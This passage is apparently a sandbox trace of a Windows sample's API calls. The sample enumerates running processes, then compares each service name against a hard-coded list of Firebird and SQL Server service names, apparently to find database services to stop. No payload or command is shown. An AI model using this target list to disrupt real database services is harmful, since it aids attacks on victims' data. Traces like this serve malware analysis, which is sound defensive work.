th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0170.776] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0170.777] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0170.777] lstrlenW (lpString="stream-test.exe") returned 15 [0170.777] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0170.778] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0170.778] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.779] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.779] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0170.779] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0170.779] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0170.780] lstrlenW (lpString="movers-indication.exe") returned 21 [0170.780] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0170.781] lstrlenW (lpString="drama tv thee.exe") returned 17 [0170.781] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0170.782] lstrlenW (lpString="barriers.exe") returned 12 [0170.782] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0170.783] lstrlenW (lpString="shootclick.exe") returned 14 [0170.783] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0170.783] lstrlenW (lpString="nickel.exe") returned 10 [0170.783] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0170.784] lstrlenW (lpString="imperialopened.exe") returned 18 [0170.784] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0170.785] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0170.785] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0170.786] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0170.786] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0170.790] lstrlenW (lpString="perhapssentences.exe") returned 20 [0170.790] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.791] lstrlenW (lpString="dllhost.exe") returned 11 [0170.791] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.792] lstrlenW (lpString="svchost.exe") returned 11 [0170.792] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0170.793] lstrlenW (lpString="chrome64b.exe") returned 13 [0170.793] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0170.793] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0170.793] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.794] lstrlenW (lpString="conhost.exe") returned 11 [0170.794] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0170.795] lstrlenW (lpString="cmd.exe") returned 7 [0170.795] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.796] lstrlenW (lpString="conhost.exe") returned 11 [0170.796] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0170.796] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0170.796] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0170.797] lstrlenW (lpString="mode.com") returned 8 [0170.797] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0170.798] CloseHandle (hObject=0x360) returned 1 [0170.798] Sleep (dwMilliseconds=0x1f4) [0171.309] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8c0 [0171.309] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0171.310] GetLastError () returned 0xea [0171.310] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e7778 [0171.310] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0171.311] CloseServiceHandle (hSCObject=0x7ce8c0) returned 1 [0171.311] lstrlenW (lpString="Appinfo") returned 7 [0171.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0171.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0171.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0171.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0171.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0171.312] lstrlenW (lpString="AppXSvc") returned 7 [0171.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0171.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0171.312] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0171.312] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0171.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0171.312] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0171.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.312] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0171.312] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0171.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0171.312] lstrlenW (lpString="Audiosrv") returned 8 [0171.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0171.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0171.313] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0171.313] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0171.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0171.313] lstrlenW (lpString="BFE") returned 3 [0171.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0171.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0171.313] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0171.313] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0171.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0171.313] lstrlenW (lpString="BITS") returned 4 [0171.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0171.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0171.313] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0171.313] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0171.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0171.313] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0171.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0171.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0171.313] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0171.313] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0171.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0171.314] lstrlenW (lpString="CDPSvc") returned 6 [0171.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0171.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0171.314] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0171.314] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0171.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0171.314] lstrlenW (lpString="ClickToRunSvc") returned 13 [0171.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0171.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0171.314] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0171.314] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0171.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0171.314] lstrlenW (lpString="ClipSVC") returned 7 [0171.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0171.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0171.314] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0171.314] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0171.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0171.315] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0171.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0171.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0171.315] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0171.315] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0171.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0171.315] lstrlenW (lpString="CryptSvc") returned 8 [0171.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0171.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0171.315] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0171.315] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0171.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0171.315] lstrlenW (lpString="DcomLaunch") returned 10 [0171.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.315] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0171.315] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0171.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0171.315] lstrlenW (lpString="DeviceAssociationService") returned 24 [0171.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0171.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0171.316] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0171.316] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0171.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0171.316] lstrlenW (lpString="Dhcp") returned 4 [0171.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0171.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0171.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0171.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0171.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0171.316] lstrlenW (lpString="Dnscache") returned 8 [0171.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0171.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0171.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0171.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0171.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0171.316] lstrlenW (lpString="DoSvc") returned 5 [0171.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0171.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0171.316] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0171.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0171.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0171.317] lstrlenW (lpString="DPS") returned 3 [0171.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0171.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0171.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0171.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0171.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0171.317] lstrlenW (lpString="DusmSvc") returned 7 [0171.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0171.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0171.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0171.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0171.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0171.317] lstrlenW (lpString="EventLog") returned 8 [0171.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0171.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0171.317] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0171.317] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0171.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0171.318] lstrlenW (lpString="EventSystem") returned 11 [0171.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0171.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0171.318] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0171.318] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0171.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0171.321] lstrlenW (lpString="FontCache") returned 9 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0171.321] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0171.321] lstrlenW (lpString="gpsvc") returned 5 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0171.321] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0171.321] lstrlenW (lpString="iphlpsvc") returned 8 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.321] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0171.321] lstrlenW (lpString="KeyIso") returned 6 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0171.322] lstrlenW (lpString="LanmanServer") returned 12 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0171.322] lstrlenW (lpString="LanmanWorkstation") returned 17 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.322] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0171.322] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0171.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0171.322] lstrlenW (lpString="lfsvc") returned 5 [0171.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0171.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0171.323] lstrlenW (lpString="LicenseManager") returned 14 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0171.323] lstrlenW (lpString="lmhosts") returned 7 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0171.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0171.323] lstrlenW (lpString="LSM") returned 3 [0171.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0171.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0171.323] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0171.323] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0171.324] lstrlenW (lpString="MpsSvc") returned 6 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0171.324] lstrlenW (lpString="NcbService") returned 10 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0171.324] lstrlenW (lpString="netprofm") returned 8 [0171.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0171.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0171.324] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0171.324] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0171.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0171.325] lstrlenW (lpString="NlaSvc") returned 6 [0171.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0171.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0171.325] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0171.325] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 